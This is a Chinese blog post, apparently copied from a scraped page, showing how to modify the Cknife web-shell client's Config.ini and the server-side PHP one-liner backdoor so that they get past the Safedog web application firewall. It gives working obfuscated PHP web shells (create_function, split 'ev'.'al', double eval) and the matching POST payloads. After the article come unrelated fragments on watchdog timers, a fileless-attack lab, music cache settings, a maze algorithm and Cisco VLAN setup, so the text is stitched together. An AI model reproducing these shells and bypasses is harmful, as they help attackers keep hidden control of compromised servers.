Cknife修改配置法秒过安全狗

0×01 男人要持久

在上一篇《打狗棒法之:Cknife(C刀)自定义模式秒过安全狗》之后,今天做一回真正的男人直奔主题,但是作为一个真男人我们要坚守一个道理那就是:不能秒要持久。本文的两个例子为抛砖引玉,主要讲解使用方法以及绕狗思路。

0×02 准备

上一次为大家介绍了自定义模式秒过安全狗,这一次将介绍修改配置法过安全狗。修改配置文件过狗理论上讲比自定义模式更快更方便(前提是你要有好的代码基础),自定义模式是在实在没有好的思路的时候才会选用它,通过修改配置法不需要像自定义模式那样一个一个功能的添加,只需要两个绕过就可以达到正常使用所有功能的效果。

0×03 科普

在开始使用修改配置法过狗前要知道安全狗拦截了什么,先做一个简单科普:安全狗拦截菜刀连接的过程有两步,第一步为服务端本身(即你的一句话木马)被特征库匹配为木马不允许执行,第二步为在数据包传递的过程中含有敏感的关键词被特征库匹配而不允许连接。如下图。

0×04 例一

现在最原始的一句话比如eval($_POST[‘Cknife’]),放在服务器上根本就不会执行,直接在第一步就嗝屁。

所以我们先要让一句话不被拦截,访问的时候能够正常运行,那应该怎么做呢,其实我们要做的就是服务端(即一句话木马)变型,以PHP为例子,不外乎就是拆分替换、反序列化、动态函数(比如$_GET[‘function‘]($_POST[‘Cknife‘]);)使用回调函数(比如usort、array_map)、使用匿名函数、使用特定函数(比如create_function,asset)等等。

这里我用匿名函数来做例子,用create_function创建了一个匿名函数$cknife,用它来代替eval。如下代码为变形后的一句话,能够通过安全狗的第一步检测(但是安全狗的网马查杀功能依然能扫到,至于如何躲避网马查杀不在本文讨论范围,有兴趣的朋友可以自行研究,因为我相信当你能灵活操作服务器上的任何文件时,留一个不被查杀的后门还是没有什么问题的)。

<?php
$cknife = create_function(‘$a‘, ‘eval($a);‘);
$cknife($_POST[‘Cknife‘]);
?>

然后我们要做的就是绕过第二步的检测,首先当然是抓包,连接的时候(即第二步的检测)果然被拦截

通过排除法(即删除你觉得可能被查杀的部分,反复提交数据包)确定只过滤了eval这个关键词。如下两图,分别为删除base64_decode中的某个字母依然被拦截,以及删除eval中的某个字母没有拦截。说明只是拦截了eval这个关键词。

注意:以下红色部分为PHP_MAKE

接下来我们要做就是构造一段不被查杀的PHP_MAKE来替换掉原来被查杀的PHP_MAKE。

Cknife=eval(base64_decode($_POST[‘action‘]))&action=…                          被拦截

我们在第一步的时候构造了一个代替eval的匿名函数$cknife

<?php

$cknife = create_function(‘$a‘, ‘eval($a);‘);

$cknife($_POST[‘Cknife‘]);

?>

那我们是否可以用它来替换掉原来的PHP_MAKE呢,我们把PHP_MAKE替换为如下代码:

Cknife=$cknife=create_function(‘$a‘, ‘eval($a);‘);$cknife(base64_decode($_POST[‘action‘]));&action=…

提交数据包发现还是被拦截,这里找了下原因发现构造的匿名函数$cknife里也包含了eval关键词,所以被查杀。

这使用简单的拆分发就可以绕过检测,我们把eval才分为ev跟al即

Cknife=$cknife=create_function(‘$a‘, ‘ev’.’al($a);‘);$cknife(base64_decode($_POST[‘action‘]));&action=…

提交数据包后发现没有被拦截,说明绕过成功,但是发现右边并没有正常执行

找了下原因,原来我们在POST提交参数的时候里面包含了单引号,而当前的GPC=ON,所以自动转移了,解决办法就是在有引号的参数前面加入stripslashes函数去除转义符号,即服务端代码修改为

<?php

$cknife = create_function(‘$a‘, ‘ev‘.‘al($a);‘);

$cknife(stripslashes($_POST[‘Cknife‘]));

?>

这下我们再尝试提交原来的参数,发现成功执行。

于是我们只需要将Config.ini里面的PHP_MAKE替换为

$cknife=create_function(‘$a‘,‘ev‘.‘al($a);‘);$cknife(base64_decode($_POST[‘action‘])); 

也别忘记了服务端的代码

<?php

$cknife = create_function(‘$a‘, ‘ev‘.‘al($a);‘);

$cknife(stripslashes($_POST[‘Cknife‘]));

?>

最后连接成功,所有功能都可以使用。

0×05 例二

该例子相比例一要简单易懂一些,核心原理就是PHP_MAKE实在饶不过,就不包含该关键词,在服务端做处理。

注意:以下红色部分为PHP_MAKE

比如例一中原始的数据包为

Cknife=eval(base64_decode($_POST[‘action‘]));&action=…

如果大家不太懂PHP,表示绕过去亚历山大的时候,其实还有另外一种思路,关键词不包含eval,这样PHP_MAKE 里都没有了安全狗拦截的特征,肯定就不会拦截了。如下:

Cknife=base64_decode($_POST[‘action‘]);&action=…

但是就需要把eval放到服务端来执行,即原本服务端代码是

<?php

eval($_POST[‘Cknife‘]);

?>

现在就要多执行一次eval,因为在PHP_MAKE里少执行了一次。即

<?php

eval(‘$ms509 =‘.$_POST[‘Cknife‘]);

eval($ms509);

?>

还是老规矩替换Config.ini的PHP_MAKE为

base64_decode($_POST[‘action‘]);

当然不要忘记了服务端的代码为

<?php

eval(‘$ms509 =‘.$_POST[‘Cknife‘]);

eval($ms509);

?>

连接成功,所有功能同样可以使用

0×06 总结

这是一款跨平台的基于配置文件的中国菜刀,Config.ini是她的核心,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。

我的绕WAF思路就是首先修改XXX_MAKE能饶就饶,饶不过XXX_MAKE就去掉被拦截的关键词,放在服务端里处理。如果服务端也饶不过,那就使用自定义模式,用正常的功能去实现它。(本文以PHP为例子,若用户想要修改其他语言,则需要在配置文件里修改对应的MAKE以及对应的动作。)

时间: 2024-08-28 10:40:18

Cknife修改配置法秒过安全狗的相关文章

60字节 - 无文件渗透测试实验

0x00 缘由 前几天看到文章<全球上百家银行和金融机构感染了一种"无文件"恶意程序,几乎无法检测>,希望自己能够亲手实验一下,以最大程度还原这种"无文件"攻击方式. 0x01 拓扑设计 192.168.1.0/24: 模拟公网环境 172.21.132.0/24: 模拟企业内网环境 192.168.1.108: 黑客 Kali 攻击机 192.168.1.212: 黑客 Windows 攻击机 边界 Web 服务器双网卡(公网的:192.168.1.1

zigbee学习之路(十一):看门狗

一.前言 今天,我们要通过实验学习和认识一下看门狗的使用,看门狗是为了防止防止程序跑飞的,通过不断的喂狗,使看门狗能持续监管程序的运行状态,当程序跑飞时,能及时把程序拽回来. 二.原理与分析 在CPU 可能受到一个软件颠覆的情况下,看门狗定时器(WDT)用作一个恢复的方法.当软件在选定时间间隔内不能清除WDT 时,WDT 必须就复位系统.看门狗可用于受到电气噪音.电源故障.静电放电等影响的应用,或需要高可靠性的环境.如果一个应用不需要看门狗功能,可以配置看门狗定时器为一个间隔定时器,这样可以用于

酷狗音乐盒缓存文件夹KuGouCache的设置方法

1.每次一打开酷狗总能在E盘里找到这个 KuGouCache 文件夹 ,是自动生成的MV缓存文件 .按照常规 ,可以修改这个文件的办法是 找到C盘里的:用户\administrator\AppDate\Roamine\KuGou8\kugou.ini 文件,将 MVCacheFolder=E:\KuGouCache 后面的路径修改到别的地方就好了. 2.在修改过程中确保酷狗客户端是关闭的状态. 3.在再次打开酷狗前记得将KuGouCache文件夹从E盘下剪切到你指定的位置上去,不然酷狗在重启时如

嵌入式喂狗

什么是watchdog:在一般公司的板子下面,有个字符设备,/dev/watchdog,如果程序员写了一个应用程序,在此程序中open看门狗,然后每隔几秒向看门狗(此时就是个文件)里写任何数据,如果程序意外崩溃了,就不能向看门狗写数据了,等待了30秒或者1分钟,系统就会reboot.(所以看门狗是用来在程序意外崩溃时重启系统的,使崩溃的程序继续运行). 有一篇一看就懂的文章:http://blog.csdn.net/liigo/article/details/9227205 Linux 自带了一

CC2540开发板学习笔记(七)&mdash;&mdash; 看门狗

一.功能: 防止程序跑飞,使得系统重新进入工作状态,即一种复位操作吧. 但需要不停地喂狗= =(就是不断的执行某种操作),假如说你的程序跑到了不知道哪里去的错误时,即不会实现喂狗,就会发生复位,程序就进入正常工作状态. 二.模拟看门狗作用 加上注释相当于进入不正常的工作状态. #include<ioCC2540.h> #define uint unsigned int #define uchar unsigned char //定义控制LED灯的端口 #define LED1 P1_0 #de

基于S3C2440的嵌入式Linux驱动——看门狗(watchdog)驱动解读

本文将介绍看门狗驱动的实现. 目标平台:TQ2440 CPU:s3c2440 内核版本:2.6.30 1. 看门狗概述 看门狗其实就是一个定时器,当该定时器溢出前必须对看门狗进行"喂狗",如果不这样做,定时器溢出后则将复位CPU. 因此,看门狗通常用于对处于异常状态的CPU进行复位. 具体的概念请自行百度. 2. S3C2440看门狗 s3c2440的看门狗的原理框图如下: 可以看出,看门狗定时器的频率由PCLK提供,其预分频器最大取值为255+1:另外,通过MUX,可以进一步降低频率

嵌入式Linux裸机开发(九)——S5PV210定时器

嵌入式Linux裸机开发(九)--S5PV210定时器 S5PV210内部一共有四类定时器. 一.PWM定时器 1.PWM定时简介 S5PV210内部共有5个32bit的PWM定时器.PWM定时器可以生成内部中断.PWM定时器0.1.2.3具有PWM功能,可以驱动外部I/O信号.PWM定时器4是一个无外部引脚的内部定时器.PWM 定时器使用 PCLK_PSYS 作为时钟源. 每个定时器有一个由定时器时钟驱动的32位递减计数器.递减计数器的初始值是由TCNTBn自动装载而获得的.如果递减计数器减到

HDU 1010 Tempter of the Bone 骨头诱惑(AC代码)DFS搜索+剪枝法

参考了别人的思路:将迷宫外围四面都筑墙‘X’.方便减少代码量. 1 #include <iostream> 2 #include <vector> 3 #include <string> 4 #include <math.h> 5 using namespace std; 6 vector<string> v; 7 int n,m; 8 int x_1,y_1,x_2,y_2; 9 bool maze(int x,int y,int t) //目

CISCO3560 VLAN配置实例

1.注意事项 1.1.交换机启动需要大约4-5分钟: 1.2.网线插入交换机接口从黄变为绿需要大约1-2分钟,即进入正常工作模式: 1.3.建议使用XP系统进行操作,2003默认没有安装超级终端,需要使用安装光盘添加该工具才有: 1.4.请严格按照以下步骤进行,背景灰色字体为交换机显示信息,蓝色字体为配置命令. 2.准备工作 先保持交换机断电状态: 使用调试串口线连接笔记本电脑的串口与交换机背面的CONSOLE接口: 打开超级终端: 开始-所有程序-附件-超级终端: 配置超级终端: 名称-cis